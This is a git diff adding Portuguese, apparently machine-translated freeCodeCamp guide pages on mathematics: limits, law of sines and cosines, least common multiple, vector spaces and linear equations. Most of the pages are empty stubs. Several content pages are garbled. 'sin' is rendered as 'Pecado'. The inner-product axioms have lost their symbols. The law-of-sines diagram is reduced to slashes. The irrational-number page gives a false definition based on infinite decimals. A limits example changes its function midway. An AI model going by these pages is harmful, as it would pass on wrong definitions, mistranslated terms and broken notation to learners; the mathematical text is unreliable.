diff --git a/client/src/guide/portuguese/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md b/client/src/guide/portuguese/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md
new file mode 100644
index 0000000000..4996b77dc2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md
@@ -0,0 +1,11 @@
+---
+title: Inverting a 3 by 3 Matrix Using Determinants
+localeTitle: Invertendo uma Matriz 3 por 3 Usando Determinantes
+---
+## Invertendo uma Matriz 3 por 3 Usando Determinantes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inverting-a-3-by-3-matrix-using-determinants/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/irrational-numbers/index.md b/client/src/guide/portuguese/mathematics/irrational-numbers/index.md
new file mode 100644
index 0000000000..ca3355c2b0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/irrational-numbers/index.md
@@ -0,0 +1,7 @@
+---
+title: Irrational Numbers
+localeTitle: Números irracionais
+---
+## Números irracionais
+
+Um número irracional é um número que não pode ser escrito totalmente na forma decimal. Um exemplo popular é o número _Pi_ , já que não pode ser totalmente escrito. Há um número infinito de decimais e, portanto, é irracional. O mesmo vale para o número _e_ e a raiz quadrada de 2. eles não podem ser escritos, pois têm um número infinito de decimais e, portanto, são irracionais.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/isosceles-triangle/index.md b/client/src/guide/portuguese/mathematics/isosceles-triangle/index.md
new file mode 100644
index 0000000000..af96270806
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/isosceles-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Isosceles Triangle
+localeTitle: Triângulo isósceles
+---
+## Triângulo isósceles
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/isosceles-triangle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/laplace-transform/index.md b/client/src/guide/portuguese/mathematics/laplace-transform/index.md
new file mode 100644
index 0000000000..6b7630c39c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/laplace-transform/index.md
@@ -0,0 +1,11 @@
+---
+title: Laplace Transform
+localeTitle: Transformada de Laplace
+---
+## Transformada de Laplace
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/laplace-transform/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/law-of-cosines/index.md b/client/src/guide/portuguese/mathematics/law-of-cosines/index.md
new file mode 100644
index 0000000000..c7b8953c55
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/law-of-cosines/index.md
@@ -0,0 +1,21 @@
+---
+title: Law of Cosines
+localeTitle: Lei dos Cosines
+---
+## Lei dos Cosines
+
+A Lei dos Cosines pode ser usada para encontrar os lados ou ângulos de um triângulo não direito quando recebem o comprimento de dois lados e seu ângulo incluído (SAS) ou os comprimentos dos três lados (SSS). A lei dos cossenos afirma: ![](http://hyperphysics.phy-astr.gsu.edu/hbase/imgmth/lcos.gif)
+
+Isso parece muito semelhante ao Teorema de Pitágoras, e se C foi de 90 graus (uma triange direita), a expressão simplifica para o Thoerem de Pitágoras. Assim, o teorema de Pitágoras é um caso especial da lei dos cossenos.
+
+Você também pode alternar o ângulo C com A ou B, mas certifique-se de alterar o respectivo lado (c) para a ou b.
+
+![](http://www.mathwarehouse.com/trigonometry/images/law-of-cosines/law-of-cosines-formula-and-picture2.png)
+
+Ex:
+
+![](http://www.mathwarehouse.com/sheets/trigonometry/advanced/law-of-sines-and-cosines/images/picture-of-law-of-cosines.png)
+
+#### Mais Informações:
+
+https://www.varsitytutors.com/hotmath/hotmath\_help/topics/law-of-cosines http://mathworld.wolfram.com/LawofCosines.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/law-of-sines/index.md b/client/src/guide/portuguese/mathematics/law-of-sines/index.md
new file mode 100644
index 0000000000..1cbc647b36
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/law-of-sines/index.md
@@ -0,0 +1,32 @@
+---
+title: Law of Sines
+localeTitle: Lei dos Sines
+---
+## Lei dos Sines
+
+A Lei de Sines afirma simplesmente que:
+
+Pecado (A) Pecado (B) ------ = ------ um b
+
+Onde "A" e "B" são medidas de ângulo, e "a" e "b" são seus comprimentos laterais correspondentes Esta lei é usada com triângulos, quando dois ângulos e um comprimento lateral são conhecidos, aqui está um exemplo: b
+
+* * *
+
+\\ 75 / \\ / 6 \\ / \\ / \\ 30 / \\ /
+
+Neste problema, tudo é definido, exceto por "b", portanto, podemos usar a lei dos senos para encontrá-lo. Para este problema, eu vou consulte o ângulo e o lado correspondentes como "A" e "a":
+
+Sin (A) Sin (B) Sin (75) Sin (30) ------ = ------ ===> ------- = ------- a b 6 b
+
+Para avaliar o Sines, usei uma calculadora. Eu posso cruzar multiplicar os dois lados da equação, que avalia como:
+```
+6 * Sin(30) 
+```
+
+b = ----------- pecado (75)
+
+O que sai para
+
+b = 3,106
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/laws-of-exponents/index.md b/client/src/guide/portuguese/mathematics/laws-of-exponents/index.md
new file mode 100644
index 0000000000..af4eed2441
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/laws-of-exponents/index.md
@@ -0,0 +1,11 @@
+---
+title: Laws of Exponents
+localeTitle: Leis de expoentes
+---
+## Leis de expoentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/laws-of-exponents/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/least-common-denominator/index.md b/client/src/guide/portuguese/mathematics/least-common-denominator/index.md
new file mode 100644
index 0000000000..cb80e106ec
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/least-common-denominator/index.md
@@ -0,0 +1,11 @@
+---
+title: Least Common Denominator
+localeTitle: Minimo denominador comum
+---
+## Minimo denominador comum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/least-common-denominator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/least-common-multiple/index.md b/client/src/guide/portuguese/mathematics/least-common-multiple/index.md
new file mode 100644
index 0000000000..8069a6ecb2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/least-common-multiple/index.md
@@ -0,0 +1,28 @@
+---
+title: Least Common Multiple
+localeTitle: Mínimo múltiplo comum
+---
+## Mínimo múltiplo comum
+
+O múltiplo menos comum (LCM) de dois ou mais números é o menor número (sem contar 0), que é um múltiplo de todos os números.  
+Um múltiplo comum é um número que é um múltiplo de dois ou mais números. Os múltiplos comuns de 4 e 5 são 0, 20, 40…  
+O múltiplo menos comum (LCM) de dois números é o menor número (não zero) que é um múltiplo de ambos.  
+Múltiplos de 4: 0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44…  
+Múltiplos de 5: 0, 5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 55…  
+
+Claramente, o Múltiplo Múltiplo Comum de 4 e 5 é 20.
+
+### Vamos aprender a calcular o Múltiplo Múltiplo Comum
+
+#### Passo 1: Anote todos os fatores primos de cada número
+
+Por exemplo, considere os números 30 e 40.  
+30 = 2 x 3 x 5  
+40 = 2 x 2 x 2 x 5  
+
+#### Etapa 2: Multiplique cada fator pelo maior número de vezes que ocorrer em qualquer dos dois números. Se o mesmo fator ocorrer mais de uma vez em ambos os números, você multiplicará o fator pelo maior número de vezes que ocorrer.  
+
+Ocorrências de 2: 3  
+Ocorrências de 3: 1  
+Ocorrências de 5: 1  
+LCM (30,40) = 2 x 2 x 2 x 3 x 5 = 120
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/lhopitals-rule/index.md b/client/src/guide/portuguese/mathematics/lhopitals-rule/index.md
new file mode 100644
index 0000000000..e907b014aa
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/lhopitals-rule/index.md
@@ -0,0 +1,11 @@
+---
+title: Lhopitals Rule
+localeTitle: Regra Lhopitals
+---
+## Regra Lhopitals
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/lhopitals-rule/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/limits-and-continuity/index.md b/client/src/guide/portuguese/mathematics/limits-and-continuity/index.md
new file mode 100644
index 0000000000..48a120c51e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/limits-and-continuity/index.md
@@ -0,0 +1,11 @@
+---
+title: Limits and Continuity
+localeTitle: Limites e Continuidade
+---
+## Limites e Continuidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/limits-and-continuity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/limits-intro/index.md b/client/src/guide/portuguese/mathematics/limits-intro/index.md
new file mode 100644
index 0000000000..3fa64045f7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/limits-intro/index.md
@@ -0,0 +1,115 @@
+---
+title: Limits Intro
+localeTitle: Limites Intro
+---
+## Limites
+
+Dizer que o limite de uma função f (x) significa que ƒ (x) pode ser feito o mais próximo possível de L, fazendo x aproximar o suficiente, mas não igual, de p.
+
+#### Exemplo
+
+Seja f (x) = x. Então o limite de f (x) como x tende a 1 é igual a 1. Ou seja, o valor da função enquanto você anda sobre valores de x, 0, então 0.01, depois, 0.1, depois 0.5, e passando por todos os valores no eixo x aproximando-se cada vez mais de 1, o valor dessa função f (x) = x tenderá a 1. Abaixo, o gráfico da função.
+
+![gráfico f (x) = x](https://ocw.mit.edu/ans7870/18/18.013a/textbook/HTML/chapter01/images/identity.gif)
+
+Quando alguém diz que f (x) está muito próximo de L, mas não "toca", significa que sua distância é muito pequena, da mesma forma, x tende a, mas não é igual a a, significa que x está a uma distância pequena a partir de um. Para isso, a definição de valor absoluto é usada.
+
+| f (x) - L | <ε, | x - a | <δ
+
+Os símbolos epsilon e delta, respectivamente, representam um número arbitrariamente pequeno.
+
+![Limite](http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfLimit_files/image001.gif)
+
+A figura acima diz o seguinte: para qualquer pequeno ε> 0 (epsilon) que você possa escolher, é possível desenhar uma faixa entre L + ε e L- ε, que seria a região amarela, ou a faixa horizontal. Então, depois de escolher esse épsilon, existe um certo δ> 0 (delta), que pode ser determinado, que permite desenhar uma tira vertical, assim como a região rosa no gráfico acima, a rosa, entre a + δ e a - δ. Agora, se você pegar qualquer x na região rosa, isto é ao redor de a, então este x estará mais próximo de a que + a + δ e a - δ. Ou,
+
+| x - a | <δ
+
+Se você agora identificar o ponto no gráfico que a sua escolha de x dá, então este ponto no gráfico estará na interseção da região rosa e amarela. Isto significa que este valor de função f (x) estará mais próximo de L do que de L + ε e L + ε. Ou,
+
+| f (x) - L | <ε
+
+Então, se você pegar qualquer valor de x na região rosa, então o gráfico para esses valores de x estará na região amarela.
+
+Ok, imagine a seguinte situação: você e seu amigo farão uma viagem emocionante usando um mapa. Você vai dirigir e seu amigo vai lidar com o mapa para você. Agora, para cada centímetro no mapa que seu amigo lê para você, o carro vai se mover, suponha, 2 km ou 1,24 milhas, se você preferir. Observe que, apesar das unidades que estamos usando, apenas para entender, poderíamos escrever "sua função" como:
+
+f (polegada) = 2 km
+
+Então, se seu amigo ler 2 polegadas no mapa, você terá movido 4 km. Vocês dois estão cansados ​​agora e decidem descansar, mas espertos como você e seu amigo são, vocês dois se perguntam:
+
+*   Ei, se eu tender a ler para você, no mapa, os próximos 10 polegadas, estamos cansados, e temos que descansar de vez em quando, então eu não vou te ler os dez polegadas inteiros, mas tenho certeza que vou chegar o mais perto possível, quanto você acha que vamos viajar?
+
+Você pode pensar assim:
+
+*   Eu sei que para cada polegada que você lê, dirijo 2 quilômetros! então, se você tende a ler 10 polegadas… hmm… nós possivelmente chegaremos o mais perto possível para dirigir 20 quilômetros! Não exatamente os 20, mas certamente ficaremos muito próximos.
+
+Essa é uma maneira de ilustrar esse conceito, imagine que você está andando no gráfico, a função é sua "regra", o x é "quanto você tem que andar", e f (x) é o valor que você realmente andou, dado a regra que você recebeu.
+
+#### Propriedades
+
+Considere que os limites das funções existem, então:
+
+*   **Soma**
+
+![Soma dos limites](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0004MP.gif)
+
+O limite de uma soma é a soma dos limites.
+
+Seja f (x) igual a x, f (x) = x e g (x) = 2x. Deixe x tender para 1. O limite:
+
+lim (f (x) + g (x)) = lim f (x) + lim g (x) = lim x + lim 2x = 1 + 2 = 3
+
+Ou lim (x + 2x) = lim (3x) = 3
+
+*   **produtos**
+
+![Produto de limites](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0005MP.gif)
+
+O limite de um produto é o produto dos limites.
+
+Considere a mesma função no exemplo anterior, f (x) = x e g (x) = 2x. E faça x tende a 2, agora.
+
+lim (f (x) \* g (x)) = lim f (x) \* lim g (x) = 2 \* 4 = 8
+
+Ou lim (x \* 2x) = lim (2x ^ 2) = 2 \* 4 = 8
+
+*   **Produto por uma constante**
+
+![Produto por uma constante](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0003MP.gif)
+
+Você pode "fatorar" uma constante multiplicativa fora de um limite.
+
+Novamente, assuma f (x) = x. O limite, dado x tendendo a 5 agora:
+
+lim (10 x) = 10 lim (x) = 50
+
+lim (10x) = 50
+
+*   **Divisão**
+
+![Divisão de limites](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0006MP.gif)
+
+O limite de uma divisão é a divisão dos limites.
+
+Seja f (x) = 2x e g (x) = x + 1. Certifique-se de que a função a ser usada não seja zero. faça x tendendo para 2 e você tem:
+
+lim (2x / x) = lim 2x / lim x = 4/2 = 2
+
+ou lim (2x / 2) = lim 2 = 2. Esta é uma função constante, portanto, não importa o quanto você ande sozinho no eixo x, o valor tenderá sempre a esse valor específico.
+
+*   **Poder**
+
+![Poder dos limites](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties_files/eq0007MP.gif)
+
+Se n é um inteiro.
+
+Seja f (x) igual a x + 1 e seja x tende a 2. Suponha o seguinte limite:
+
+lim \[(x + 1)\] ^ 2 = (3) ^ 2 = 9
+
+lim \[(x + 1)\] ^ 2 = lim (x ^ 2 + 2x + 1) = 9 (observe que você também pode usar a propriedade sum!)
+
+#### Mais Informações:
+
+[Notas e outros exemplos](http://tutorial.math.lamar.edu/Classes/CalcI/LimitsProperties.aspx)
+
+[Introdução para limitar a palestra](https://www.khanacademy.org/math/ap-calculus-ab/ab-limits-continuity/ab-limits-graphically/v/introduction-to-limits-hd)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/canonical-form/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/canonical-form/index.md
new file mode 100644
index 0000000000..ca6c50cb90
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/canonical-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Canonical Form
+localeTitle: Forma canônica
+---
+## Forma canônica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/canonical-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/determinants/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/determinants/index.md
new file mode 100644
index 0000000000..92cfcfe2b2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/determinants/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinants
+localeTitle: Determinantes
+---
+## Determinantes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/determinants/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/eigenvectors/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/eigenvectors/index.md
new file mode 100644
index 0000000000..b320f9c488
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/eigenvectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Eigenvectors
+localeTitle: Autovetores
+---
+## Autovetores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/eigenvectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/index.md
new file mode 100644
index 0000000000..45e257271f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Algebra
+localeTitle: Álgebra Linear
+---
+## Álgebra Linear
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/inner-product-spaces/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/inner-product-spaces/index.md
new file mode 100644
index 0000000000..a3342f2dd3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/inner-product-spaces/index.md
@@ -0,0 +1,14 @@
+---
+title: Inner Product Spaces
+localeTitle: Espaços Internos do Produto
+---
+## Espaços Internos do Produto
+
+### Introdução
+
+Seja V um espaço vetorial sobre o campo F. Um produto interno é uma função que atribui a cada par ordenado de vetor x e y em V, um escalar em F, denotado por de tal forma que para todos x, y em V e um em F, eles mantêm:
+
+*   \= +
+*   \= a
+*   \= (X e Y indicam conjugado de xey respectivamente)
+*   \= 0 para todo x! = 0
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/linear-mappings/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/linear-mappings/index.md
new file mode 100644
index 0000000000..14b2c01489
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/linear-mappings/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Mappings
+localeTitle: Mapeamentos Lineares
+---
+## Mapeamentos Lineares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/linear-mappings/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/matrix-algebra/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/matrix-algebra/index.md
new file mode 100644
index 0000000000..c04832300e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/matrix-algebra/index.md
@@ -0,0 +1,11 @@
+---
+title: Matrix Algebra
+localeTitle: Álgebra matricial
+---
+## Álgebra matricial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/matrix-algebra/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/orthogonality/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/orthogonality/index.md
new file mode 100644
index 0000000000..24e0c0f9a1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/orthogonality/index.md
@@ -0,0 +1,24 @@
+---
+title: Orthogonality
+localeTitle: Ortogonalidade
+---
+## Ortogonalidade
+
+Em matemática e álgebra linear, dois vetores uev são ditos ortogonais quando seu produto escalar é 0:  
+![produto pontual](http://mathworld.wolfram.com/images/equations/OrthogonalVectors/Inline3.gif)  
+A ortogonalidade pode ser pensada como [perpendicularidade](http://mathworld.wolfram.com/Perpendicular.html) generalizada para espaços vetoriais de maior dimensão, uma vez que os dois são os mesmos - eles implicam que um ângulo reto é formado pela linha, plano ou vetor.
+
+![ângulo certo](http://mathworld.wolfram.com/images/eps-gif/Perpendicular_1000.gif)
+
+A seguir, todos os exemplos de ortogonalidade:
+
+1.  Se dois vetores são perpendiculares, isto é, eles se encontram ou se cruzam em um ângulo direito (90 graus), eles são ortogonais.
+2.  Dois vetores são ortogonais se o produto interno (produto de ponto) for igual a 0.
+3.  Dois subespaços A e B em V são ortogonais se cada vetor em V é ortogonal a cada vetor em B.
+
+<! - [Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+1.  http://mathworld.wolfram.com/Orthogonal.html
+2.  http://mathworld.wolfram.com/Perpendicular.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/projections/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/projections/index.md
new file mode 100644
index 0000000000..295fcdf224
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/projections/index.md
@@ -0,0 +1,11 @@
+---
+title: Projections
+localeTitle: Projeções
+---
+## Projeções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/projections/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/spans/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/spans/index.md
new file mode 100644
index 0000000000..34a530efa6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/spans/index.md
@@ -0,0 +1,15 @@
+---
+title: Spans
+localeTitle: Spans
+---
+## Spans
+
+##### Introdução
+
+Seja S um subconjunto não vazio de um espaço vetorial V. O span de S, denotado por span (S), é o conjunto contendo todas as combinações lineares de vetores em S. Por conveniência, definimos span (∅) = {0} .
+
+ou
+
+Seja S um conjunto de vetores em um espaço vetorial W. O subespaço medido por S é definido como sendo a interseção W de todos os subespaços de V que contêm S. Quando S é um conjunto finito de vetores, S = {α1, α2,…, αn}, devemos simplesmente chamar de W o subespaço medido pelos vetores α1, α2,…, αn.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/systems-of-linear-equations/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/systems-of-linear-equations/index.md
new file mode 100644
index 0000000000..11b5b6981e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/systems-of-linear-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Systems of Linear Equations
+localeTitle: Sistemas de Equações Lineares
+---
+## Sistemas de Equações Lineares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/systems-of-linear-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/vector-spaces/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/vector-spaces/index.md
new file mode 100644
index 0000000000..8da3396a1a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/vector-spaces/index.md
@@ -0,0 +1,19 @@
+---
+title: Vector Spaces
+localeTitle: Espaços Vectoriais
+---
+## Espaços Vectoriais
+
+Um espaço vetorial V é um conjunto de vetores que é fechado sob multiplicação e adição de vetores. Isso significa que os vetores produzidos a partir da adição e multiplicação de vetores também estão dentro do espaço vetorial:
+
+1.  Se aeb são vetores no espaço V, então a + b também está em V.
+2.  Se c é um escalar e a e b são vetores em V, então ab e ac também são vetores dentro de V. Quando essas propriedades são verdadeiras, diz-se que o espaço vetorial é "fechado" em adição de vetores e multiplicação escalar.
+
+<! - Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/vector-spaces/index.md) .
+
+<! - [Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+1.  http://mathworld.wolfram.com/VectorSpace.html
+2.  http://www.math.toronto.edu/gscott/WhatVS.pdf
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-algebra/vectors/index.md b/client/src/guide/portuguese/mathematics/linear-algebra/vectors/index.md
new file mode 100644
index 0000000000..831603cecd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-algebra/vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Vectors
+localeTitle: Vetores
+---
+## Vetores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-algebra/vectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-equations-and-functions/index.md b/client/src/guide/portuguese/mathematics/linear-equations-and-functions/index.md
new file mode 100644
index 0000000000..889887a8c5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-equations-and-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Linear Equations and Functions
+localeTitle: Equações Lineares e Funções
+---
+## Equações Lineares e Funções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/linear-equations-and-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/linear-equations/index.md b/client/src/guide/portuguese/mathematics/linear-equations/index.md
new file mode 100644
index 0000000000..3be41c985b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/linear-equations/index.md
@@ -0,0 +1,13 @@
+---
+title: Linear Equations
+localeTitle: Equações lineares
+---
+## Equações lineares
+
+Uma equação linear é uma linha reta de um ponto a outro, que pode ser expressa por meio de uma equação ou um gráfico.
+
+A equação para uma função linear é **y = mx + b** .
+
+*   _'y'_ são as coordenadas y na inclinação
+*   _'mx'_ é o declive, ou taxa da qual a equação está indo. Isso pode ser calculado usando **(y2-y1 / x2-x1)** , onde o numerador é o deslocamento vertical, enquanto o denominador é o deslocamento horizontal.
+*   _'b'_ é a interceptação de y, ou onde a função linear atende ao eixo y.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/local-linearity/index.md b/client/src/guide/portuguese/mathematics/local-linearity/index.md
new file mode 100644
index 0000000000..8c30abdf13
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/local-linearity/index.md
@@ -0,0 +1,11 @@
+---
+title: Local Linearity
+localeTitle: Linearidade Local
+---
+## Linearidade Local
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/local-linearity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/logarithmic-equations-variable-in-the-argument/index.md b/client/src/guide/portuguese/mathematics/logarithmic-equations-variable-in-the-argument/index.md
new file mode 100644
